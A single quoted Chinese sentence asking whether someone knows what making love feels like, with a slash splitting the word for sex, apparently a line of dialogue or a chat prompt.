“你知道做/爱的感觉吗?”